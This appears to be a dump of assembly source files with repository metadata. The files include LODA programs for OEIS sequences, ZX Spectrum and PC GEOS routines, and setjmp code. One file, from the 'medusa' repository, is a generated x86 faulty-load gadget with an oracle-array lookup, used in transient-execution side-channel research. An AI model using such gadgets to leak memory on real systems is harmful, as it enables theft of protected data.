PROJECT: PC GEOS
MODULE: Impex- Bmp Graphics Translation Library
FILE: exportManager.asm
AUTHOR: Maryann Simmons 2/92
REVISION HISTORY:
Name Date Description
---- ---- -----------
DESCRIPTION:
This is the main include file for the export module of the
Bmp translation library
$Id: exportManager.asm,v 1.1 97/04/07 11:26:07 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
; Common Geode stuff
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
include bmpGeode.def ; this includes the .def files
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
; Code
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
include exportCommon.asm ; common Graphics export code
include exportMain.asm ; primary interface routines
| 21.903846 | 79 | 0.394205 |
6f9fc1a2285c9ac50b8400d7cb85f27f495f4dc1 | 490 | asm | Assembly | programs/oeis/184/A184580.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/184/A184580.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/184/A184580.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A184580: a(n) = floor((n-1/4)*sqrt(2)), complement of A184581.
; 1,2,3,5,6,8,9,10,12,13,15,16,18,19,20,22,23,25,26,27,29,30,32,33,35,36,37,39,40,42,43,44,46,47,49,50,51,53,54,56,57,59,60,61,63,64,66,67,68,70,71,73,74,76,77,78,80,81,83,84,85,87,88,90,91,92,94,95,97,98,100,101,102,104,105,107,108,109,111,112,114,115,117,118,119,121,122,124,125,126,128,129,131,132,133,135,136,138,139,141
mul $0,2
seq $0,184117 ; Lower s-Wythoff sequence, where s(n) = 2n + 1.
sub $0,1
div $0,2
add $0,1
| 54.444444 | 324 | 0.663265 |
2971f647c6cdbc0b444b24cee4e8e3451fc5b3f9 | 592 | asm | Assembly | programs/oeis/066/A066959.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/066/A066959.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/066/A066959.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A066959: Bigomega(n^n) where bigomega(x) is the number of prime factors in x (counted with multiplicity).
; 0,2,3,8,5,12,7,24,18,20,11,36,13,28,30,64,17,54,19,60,42,44,23,96,50,52,81,84,29,90,31,160,66,68,70,144,37,76,78,160,41,126,43,132,135,92,47,240,98,150,102,156,53,216,110,224,114,116,59,240,61,124,189,384,130,198,67,204,138,210,71,360,73,148,225,228,154,234,79,400,324,164,83,336,170,172,174,352,89,360,182,276,186,188,190,576,97,294,297,400
mov $1,$0
seq $1,1222 ; Number of prime divisors of n counted with multiplicity (also called bigomega(n) or Omega(n)).
mul $0,$1
add $0,$1
| 74 | 343 | 0.711149 |
1cf3a43a472f5493a3ce501e9ce55652f4d307f1 | 1,771 | asm | Assembly | libsrc/target/zx/basic/zx_setstr_callee.asm | ahjelm/z88dk | c4de367f39a76b41f6390ceeab77737e148178fa | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/target/zx/basic/zx_setstr_callee.asm | C-Chads/z88dk | a4141a8e51205c6414b4ae3263b633c4265778e6 | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/target/zx/basic/zx_setstr_callee.asm | C-Chads/z88dk | a4141a8e51205c6414b4ae3263b633c4265778e6 | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z | ;
; ZX Spectrum specific routines
; by Stefano Bodrato, 29/06/2006
; Fixed by Antonio Schifano, Dec 2008
;
; Copy a string to a BASIC variable
;
; int __CALLEE__ zx_setstr_callee(char variable, char *value);
;
; CPIR, debugged version by Antonio Schifano, 29/12/2008
;
; $Id: zx_setstr_callee.asm $
;
SECTION code_clib
PUBLIC zx_setstr_callee
PUBLIC _zx_setstr_callee
PUBLIC asm_zx_setstr
EXTERN call_rom3
zx_setstr_callee:
_zx_setstr_callee:
pop bc
pop hl
pop de
push bc
; enter : hl = char *value
; e = char variable
.asm_zx_setstr
push ix ;save callers ix - rom may corrupt it
ld a,e
and 95
ld d,a
push hl
push de
ld hl,($5c4b) ; VARS
loop:
ld a,(hl)
cp 128
jr z,store ; variable not found
morevar:
cp d
jr z,found
call call_rom3
IF FORts2068
defw $1720 ; NEXT-ONE (find next variable)
ELSE
defw $19b8 ; find next variable
ENDIF
ex de,hl
pop de
push de
jr loop
found:
call call_rom3
IF FORts2068
defw $1720 ; NEXT-ONE (find next variable)
ELSE
defw $19b8 ; find next variable
ENDIF
IF FORts2068
call $1750 ; RECLAIM-2: reclaim space (delete)
ELSE
call call_rom3
defw $19e8 ; reclaim space (delete)
ENDIF
store:
pop af ; swap var name and str. ptr into stack
pop de
push af
push de
xor a
ld b,a
ld c,a
ex de,hl
cpir ; scan for zero
ex de,hl
ld a,b
cpl
ld b,a
ld a,c
cpl
ld c,a ; bc=str len
push hl
push bc
inc bc
inc bc
inc bc
IF FORts2068
call $12BB ; MAKE-ROOM
ELSE
call call_rom3
defw $1655 ; MAKE-ROOM
ENDIF
pop bc
pop hl
pop de ; get back str. ptr
pop af ; and var name
ld (hl),a
inc hl
ld (hl),c
inc hl
ld (hl),b
pop ix ; restore callers ix
ld a,b ; handle 0 lenght strings
or c
ret z
inc hl
ex de,hl
ldir
ret
| 13.315789 | 62 | 0.672501 |
8f8c846f6ee60d30219931abc5ad1fbed0bf7c3a | 862 | asm | Assembly | oeis/045/A045445.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/045/A045445.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/045/A045445.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A045445: Number of nonisomorphic systems of catafusenes for the unsymmetrical schemes (group C_s) with two appendages (see references for precise definition).
; Submitted by Jon Maiga
; 0,1,6,29,132,590,2628,11732,52608,237129,1074510,4893801,22395420,102943815,475139070,2201301575,10234016880,47731093715,223273611810,1047265325255,4924606035900,23211459517120,109642275853176,518959629394294,2460993383491632,11691102386417575,55631432784968898,265131107282962503,1265425239837087252,6047986005038996766,28943410004569240020,138682651267980237564,665272285981136637696,3194884265814187207899,15359064650651984464962,73910422282520224689855,356005613169437325513228
mov $1,1
mov $2,1
mov $3,$0
add $3,1
add $3,$0
mov $4,3
lpb $3
mul $1,$4
sub $3,1
mul $1,$3
sub $3,1
add $5,$4
div $1,$5
mod $5,$2
add $2,$1
add $4,2
lpe
mov $0,$2
div $0,2
| 35.916667 | 483 | 0.798144 |
7652538b71894c2919d5f29dd653537c6ee592c5 | 534 | asm | Assembly | STM8S103F3P6/Voltmetr/RAMVars.asm | edosedgar/stm8s | 9288bdfbcbdbff22e5c6d2d2d450abd30f7e6d0b | [
"Apache-2.0"
] | 2 | 2021-01-13T09:18:01.000Z | 2022-02-09T17:13:35.000Z | STM8S103F3P6/Voltmetr/RAMVars.asm | saimy1684/stm8s | 9288bdfbcbdbff22e5c6d2d2d450abd30f7e6d0b | [
"Apache-2.0"
] | null | null | null | STM8S103F3P6/Voltmetr/RAMVars.asm | saimy1684/stm8s | 9288bdfbcbdbff22e5c6d2d2d450abd30f7e6d0b | [
"Apache-2.0"
] | 2 | 2017-05-30T10:07:10.000Z | 2018-01-08T03:48:54.000Z | ;=======RAMMemory($0000-$07FF)================
Temp EQU $0000
Temp1 EQU $0001
Temp2 EQU $0002
Temp3 EQU $0003
Temp4 EQU $0004
Temp5 EQU $0005
DataL EQU $0016
DataH EQU $0017
Temp6 EQU $0008
Digit1 EQU $0009
Digit2 EQU $000A
Digit3 EQU $000B
Voltage EQU $000C
BufferL EQU $001C
Temp96 EQU $002C
Temp56 EQU $003C
;=============================================
END | 25.428571 | 47 | 0.411985 |
25634d89ec2677d69772187925c904724495ed3d | 4,050 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xca.log_2_1695.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xca.log_2_1695.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xca.log_2_1695.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %r15
push %r9
push %rax
push %rbp
push %rcx
lea addresses_WC_ht+0x4b80, %r15
nop
nop
nop
add %r10, %r10
mov $0x6162636465666768, %r14
movq %r14, %xmm7
movups %xmm7, (%r15)
nop
nop
nop
nop
nop
cmp %r15, %r15
lea addresses_UC_ht+0x179b0, %rax
nop
nop
xor $21194, %rcx
movw $0x6162, (%rax)
cmp %rcx, %rcx
lea addresses_WT_ht+0x1ef00, %r9
add %rbp, %rbp
movb (%r9), %r14b
nop
nop
xor %r14, %r14
lea addresses_normal_ht+0x1dd40, %rbp
clflush (%rbp)
nop
nop
nop
nop
cmp %r15, %r15
movups (%rbp), %xmm2
vpextrq $1, %xmm2, %r9
nop
nop
inc %r9
lea addresses_D_ht+0x10b90, %r15
nop
nop
nop
nop
nop
add $25779, %rax
movb $0x61, (%r15)
add %r9, %r9
lea addresses_WT_ht+0x10a50, %rbp
xor $12383, %r15
mov $0x6162636465666768, %r14
movq %r14, (%rbp)
nop
nop
nop
nop
and $32273, %r9
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r15
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r8
push %r9
push %rbx
push %rdi
// Store
lea addresses_WT+0x11e90, %r8
nop
nop
inc %r9
movl $0x51525354, (%r8)
nop
nop
nop
add $39415, %r8
// Store
lea addresses_normal+0x1c090, %r8
nop
nop
nop
nop
nop
dec %r12
mov $0x5152535455565758, %rdi
movq %rdi, %xmm5
vmovups %ymm5, (%r8)
xor %r12, %r12
// Store
lea addresses_WC+0x14e50, %rbx
nop
nop
nop
nop
xor %rdi, %rdi
mov $0x5152535455565758, %r12
movq %r12, %xmm3
movups %xmm3, (%rbx)
cmp $33540, %rbx
// Store
lea addresses_PSE+0x106bd, %r8
nop
nop
nop
nop
inc %r11
movw $0x5152, (%r8)
nop
nop
nop
dec %rbx
// Store
lea addresses_UC+0xce10, %rbx
add %r10, %r10
mov $0x5152535455565758, %r11
movq %r11, (%rbx)
xor $59953, %rdi
// Store
lea addresses_D+0xeac, %r10
nop
nop
nop
nop
nop
and $24391, %r12
movl $0x51525354, (%r10)
nop
nop
nop
nop
and $44696, %r12
// Store
lea addresses_WC+0x14890, %r10
nop
nop
nop
dec %r9
movw $0x5152, (%r10)
nop
and %r8, %r8
// Faulty Load
lea addresses_WC+0x14890, %rdi
nop
nop
nop
inc %r11
movb (%rdi), %r9b
lea oracles, %rdi
and $0xff, %r9
shlq $12, %r9
mov (%rdi,%r9,1), %r9
pop %rdi
pop %rbx
pop %r9
pop %r8
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_normal', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': False, 'congruent': 5}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_PSE', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_UC', 'same': False, 'AVXalign': False, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_D', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_WC', 'same': True, 'AVXalign': False, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_WC', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': True, 'congruent': 5}}
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 1}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 2}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_WT_ht', 'same': True, 'AVXalign': True, 'congruent': 6}}
{'52': 2}
52 52
*/
| 19.37799 | 129 | 0.640247 |
fec30dc862685236d85bb7c90e36e07361e4cf1c | 2,486 | asm | Assembly | programs/oeis/096/A096959.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/096/A096959.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/096/A096959.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A096959: Sixth column (m=5) of (1,6)-Pascal triangle A096956.
; 6,31,96,231,476,882,1512,2442,3762,5577,8008,11193,15288,20468,26928,34884,44574,56259,70224,86779,106260,129030,155480,186030,221130,261261,306936,358701,417136,482856,556512,638792,730422,832167,944832,1069263,1206348,1357018,1522248,1703058,1900514,2115729,2349864,2604129,2879784,3178140,3500560,3848460,4223310,4626635,5060016,5525091,6023556,6557166,7127736,7737142,8387322,9080277,9818072,10602837,11436768,12322128,13261248,14256528,15310438,16425519,17604384,18849719,20164284,21550914,23012520,24552090,26172690,27877465,29669640,31552521,33529496,35604036,37779696,40060116,42449022,44950227,47567632,50305227,53167092,56157398,59280408,62540478,65942058,69489693,73188024,77041789,81055824,85235064,89584544,94109400,98814870,103706295,108789120,114068895,119551276,125242026,131147016,137272226,143623746,150207777,157030632,164098737,171418632,178996972,186840528,194956188,203350958,212031963,221006448,230281779,239865444,249765054,259988344,270543174,281437530,292679525,304277400,316239525,328574400,341290656,354397056,367902496,381816006,396146751,410904032,426097287,441736092,457830162,474389352,491423658,508943218,526958313,545479368,564516953,584081784,604184724,624836784,646049124,667833054,690200035,713161680,736729755,760916180,785733030,811192536,837307086,864089226,891551661,919707256,948569037,978150192,1008464072,1039524192,1071344232,1103938038,1137319623,1171503168,1206503023,1242333708,1279009914,1316546504,1354958514,1394261154,1434469809,1475600040,1517667585,1560688360,1604678460,1649654160,1695631916,1742628366,1790660331,1839744816,1889899011,1941140292,1993486222,2046954552,2101563222,2157330362,2214274293,2272413528,2331766773,2392352928,2454191088,2517300544,2581700784,2647411494,2714452559,2782844064,2852606295,2923759740,2996325090,3070323240,3145775290,3222702546,3301126521,3381068936,3462551721,3545597016,3630227172,3716464752,3804332532,3893853502,3985050867,4077948048,4172568683,4268936628,4367075958,4467010968,4568766174,4672366314,4777836349,4885201464,4994487069,5105718800,5218922520,5334124320,5451350520,5570627670,5691982551,5815442176,5941033791,6068784876,6198723146,6330876552,6465273282,6601941762,6740910657,6882208872,7025865553,7171910088,7320372108,7471281488,7624668348,7780563054,7938996219,8099998704,8263601619,8429836324,8598734430,8770327800,8944648550,9121729050,9301601925
mov $1,$0
add $1,4
bin $1,$0
add $0,30
mul $1,$0
div $1,5
| 248.6 | 2,362 | 0.879726 |
085f3639e6214d066907ffb9660b7711aea5392d | 301 | asm | Assembly | programs/oeis/122/A122434.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/122/A122434.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/122/A122434.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A122434: Expansion of (1+x)^3/(1+x+x^2).
; 1,2,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0,-1,1,0
mov $2,2
sub $2,$0
mov $3,-1
lpb $0
mov $0,$2
add $2,3
trn $3,33
lpe
sub $0,$3
mov $1,$0
| 21.5 | 161 | 0.471761 |
a589d2da03d6b46c640398b1baf82ddd67b3221c | 613 | asm | Assembly | Assembly/Homework/4-13/F2T10.asm | chaohu/Daily-Learning | 0e8d14a3497ad319eda20bc4682cec08d5d6fb08 | [
"MIT"
] | 12 | 2016-04-09T15:43:02.000Z | 2022-03-22T01:58:25.000Z | Assembly/Homework/4-13/F2T10.asm | chaohu/Daily-Learning | 0e8d14a3497ad319eda20bc4682cec08d5d6fb08 | [
"MIT"
] | null | null | null | Assembly/Homework/4-13/F2T10.asm | chaohu/Daily-Learning | 0e8d14a3497ad319eda20bc4682cec08d5d6fb08 | [
"MIT"
] | 2 | 2018-08-23T07:34:59.000Z | 2019-06-20T10:17:31.000Z | PUBLIC F2T10
.386
DATA SEGMENT USE16
BUF DB 12 DUP(?)
DATA ENDS
CODE SEGMENT USE16
ASSUME CS:CODE,DS:DATA
F2T10 PROC FAR
PUSH EBX
PUSH SI
LEA SI,BUF
CMP DX,32
JNE B
MOVSX EAX,AX
B: OR EAX,EAX
JNS PLUS
NEG EAX
MOV BYTE PTR [SI],'-'
INC SI
PLUS: MOV EBX,10
CALL RADIX
MOV BYTE PTR [SI],'$'
LEA DX,BUF
MOV AX,9
INT 21H
POP SI
POP EBX
RET
F2T10 ENDP
RADIX PROC
PUSH CX
PUSH EDX
XOR CX,CX
LOP1: XOR EDX,EDX
DIV EBX
PUSH DX
INC CX
OR EAX,EAX
JNZ LOP1
LOP2: POP AX
CMP AL,10
JB L1
ADD AL,7
L1: ADD AL,30H
MOV [SI],AL
INC SI
LOOP LOP2
POP EDX
POP CX
RET
RADIX ENDP
CODE ENDS
END | 11.351852 | 23 | 0.676998 |
72405fdb63b963f5771c43aa3bf3f05a6a1bc104 | 365 | asm | Assembly | tests/hook_dll_src/large_x86_64.asm | neivv/whack | ccd95f5cfa37622bc3ec3d4b0974ab9b631b59b2 | [
"Apache-2.0",
"MIT"
] | null | null | null | tests/hook_dll_src/large_x86_64.asm | neivv/whack | ccd95f5cfa37622bc3ec3d4b0974ab9b631b59b2 | [
"Apache-2.0",
"MIT"
] | null | null | null | tests/hook_dll_src/large_x86_64.asm | neivv/whack | ccd95f5cfa37622bc3ec3d4b0974ab9b631b59b2 | [
"Apache-2.0",
"MIT"
] | null | null | null |
global thirteen
thirteen:
xor rax, rax
mov [rsp + 8], ecx
mov [rsp + 0x10], edx
mov [rsp + 0x18], r8d
mov [rsp + 0x20], r9d
mov rdx, 0xd
.loop:
xor rcx, rcx
mov ecx, [rsp + rdx * 8]
add rax, rcx
rol eax, 3
sub rax, rdx
dec rdx
jne .loop
mov edx, eax
mov rax, rdx
ret
global test_func
test_func:
nop
| 14.6 | 28 | 0.550685 |
715bbee680ec44c106d401cc4441a85987b05a91 | 736 | asm | Assembly | oeis/162/A162770.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/162/A162770.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/162/A162770.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A162770: a(n) = ((2+sqrt(5))*(1+sqrt(5))^n + (2-sqrt(5))*(1-sqrt(5))^n)/2.
; Submitted by Jon Maiga
; 2,7,22,72,232,752,2432,7872,25472,82432,266752,863232,2793472,9039872,29253632,94666752,306348032,991363072,3208118272,10381688832,33595850752,108718456832,351820316672,1138514460672,3684310188032,11922678218752,38582597189632,124855907254272,404042203267072,1307508035551232,4231184884170752,13692401910546432,44309543357775872,143388694357737472,464015562146578432,1501585901724106752,4859234052034527232,15724811710965481472,50886559630069071872,164672366104000069632,532890970728276426752
lpb $0
sub $0,1
mul $2,2
mov $3,$2
mul $4,2
add $4,1
mov $2,$4
add $4,$3
lpe
add $2,$4
mov $0,$2
div $0,2
mul $0,5
add $0,2
| 38.736842 | 494 | 0.779891 |
14108f28a0c2e59cf164ba949e266f1282f30b3e | 419 | asm | Assembly | libsrc/fcntl/spectrum/zxbasdrv/creat.asm | andydansby/z88dk-mk2 | 51c15f1387293809c496f5eaf7b196f8a0e9b66b | [
"ClArtistic"
] | 1 | 2020-09-15T08:35:49.000Z | 2020-09-15T08:35:49.000Z | libsrc/fcntl/spectrum/zxbasdrv/creat.asm | dex4er/deb-z88dk | 9ee4f23444fa6f6043462332a1bff7ae20a8504b | [
"ClArtistic"
] | null | null | null | libsrc/fcntl/spectrum/zxbasdrv/creat.asm | dex4er/deb-z88dk | 9ee4f23444fa6f6043462332a1bff7ae20a8504b | [
"ClArtistic"
] | null | null | null | ;
; Create a file by the BASIC driver (open then close)
;
; Stefano - 5/7/2006
;
; int creat(far char *name, mode_t mode);
;
; $Id: creat.asm,v 1.1 2006/07/18 21:02:54 stefano Exp $
XLIB creat
LIB open
LIB close
.creat
pop bc
pop hl
push hl
push bc
push bc
push bc
push hl
call open
pop bc
pop bc
pop bc
ld a,h
or l
cp 255 ; -1 => error ?
ret z
push hl
call close
pop hl
ld hl,0
ret
| 10.74359 | 56 | 0.622912 |
e7e7b764b3ded3ce3f1a6b7b2b3db636d186e8c3 | 2,168 | asm | Assembly | lib/src/xr/x86/setjmp.asm | zanud/xds-2.60 | b4a32b9c9c91fe513fa5ff78ec87bb44102a3b72 | [
"Apache-2.0"
] | 53 | 2019-06-10T18:19:44.000Z | 2021-12-28T18:56:00.000Z | Sources/Lib/src/xr/x86/setjmp.asm | undecidedzogvisvitalispotent8stars360/xds | cfd20e209193c9cfcee94ad2ca30d8c32ead48c9 | [
"Apache-2.0"
] | 5 | 2020-07-10T16:06:48.000Z | 2021-07-30T07:17:50.000Z | Sources/Lib/src/xr/x86/setjmp.asm | undecidedzogvisvitalispotent8stars360/xds | cfd20e209193c9cfcee94ad2ca30d8c32ead48c9 | [
"Apache-2.0"
] | 20 | 2019-06-10T18:09:16.000Z | 2021-10-02T19:46:42.000Z | ; COPYRIGHT (c) 1999,2002 Excelsior. All Rights Reserved.
; COPYRIGHT (c) 1995,99,2002 XDS. All Rights Reserved.
;
; Implementation for X2C_setjmp and X2C_longjmp functions
;
cpu 386
bits 32
%ifdef OS2
group DGROUP _DATA
section _DATA use32 align=4 FLAT public 'DATA'
%else
group DGROUP _DATA
section _DATA use32 align=4 public 'DATA'
%endif
%ifdef OS2
section .text use32 align=4 FLAT public 'CODE'
%else
section .text use32 align=16 public 'CODE'
%endif
; assume cs: .text, ds: DGROUP, gs: nothing, fs: nothing
;PROCEDURE X2C_setjmp(VAR point: X2C_jmp_buf): INTEGER;
global X2C_setjmp
X2C_setjmp:
mov eax, [esp+4]
mov [eax], ebx
mov [eax+4h], ecx
mov [eax+8h], edx
mov [eax+0ch], esi
mov [eax+10h], edi
mov [eax+14h], ebp
pop dword [eax+18h]
mov ecx, esp
add ecx, 4
mov [eax+1ch], ecx
push dword [eax+18h]
mov [eax+20H], es
mov [eax+22H], ds
mov [eax+24H], cs
mov [eax+26H], fs
mov [eax+28H], gs
mov [eax+2aH], ss
xor eax, eax
ret
;X2C_setjmp endp
;PROCEDURE X2C_longjmp(VAR point: X2C_jmp_buf; n: INTEGER);
global X2C_longjmp
X2C_longjmp:
pop eax ; drop return EIP
pop eax ; jmp_buf pointer
pop edx ; argument
mov ss, [eax+2aH] ; switch to new stack
mov esp, [eax+1cH] ;
push eax ;
push dword [eax+18H] ; return EIP
or edx, edx
jne L1
inc edx
L1: push edx
mov ebx, [eax]
mov ecx, [eax+4H]
mov esi, [eax+0cH]
mov edi, [eax+10H]
mov ebp, [eax+14H]
mov dx, [eax+20H]
verr dx
je L2
xor edx, edx
L2: mov es, dx
mov edx, [eax+8H]
mov ds, [eax+22H]
pop eax
ret
| 25.809524 | 73 | 0.478782 |
3cf96a1387570bb3f99bdb2cfaed8cfdd659b29d | 1,710 | asm | Assembly | programs/oeis/306/A306847.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/306/A306847.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/306/A306847.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A306847: a(n) = Sum_{k=0..floor(n/6)} binomial(n,6*k).
; 1,1,1,1,1,1,2,8,29,85,211,463,926,1730,3095,5461,9829,18565,37130,77540,164921,349525,728575,1486675,2973350,5858126,11450531,22369621,43942081,87087001,174174002,350739488,708653429,1431655765,2884834891,5791193143,11582386286,23100202490,46006694735,91625968981,182670807229,364760483725,729520967450,1460785327100,2926800830801,5864062014805,11743814559415,23503319648635,47006639297270,93966207005126,187791199242011,375299968947541,750176293590361,1499928942876001,2999857885752002,6000986704418168,12005786207578829,24019198012642645,48049834421512771,96111107239253023,192222214478506046,384410113768329650,768717281970611975,1537228672809129301,3074148508920116629,6147988181142091285,12295976362284182570,24592879234662791060,49188537999608859881,98382635059784275285,196773608710418383855,393555556011686600995,787111112023373201990,1574197208274196904126,3148319369230745308691,6296488643826193618261,12592752145699441737841,25185279149445937977001,50370558298891875954002,100741792023642588404048,201485610324861686296229,402975273204876391568725,805956625242482311601851,1611919329317694151668103,3223838658635388303336206,6447659080772588021279210,12895263452050610286378815,25790417485112089060398421,51580670841740480852258029,103161177554997264435977245,206322355109994528871954490,412645202605440149549525420,825291882367233574515900161,1650586719047173699865498965,3301177869563407225981545895,6602360170595874278213639755,13204720341191748556427279510,26409427387976317634102915126,52818814892731096831950898571,105637550019019116791391933781
mov $3,$0
lpb $0
sub $0,6
mov $2,$3
bin $2,$0
add $1,$2
lpe
add $1,1
mov $0,$1
| 131.538462 | 1,564 | 0.899415 |
61414da13b819f971e60503f1e0b4b5ae26edf97 | 3,679 | asm | Assembly | examples/6502asm/zookeeper.asm | Eggbertx/GD6502 | 4489bde981c3b4927189f53598da956b7b945f49 | [
"BSD-2-Clause"
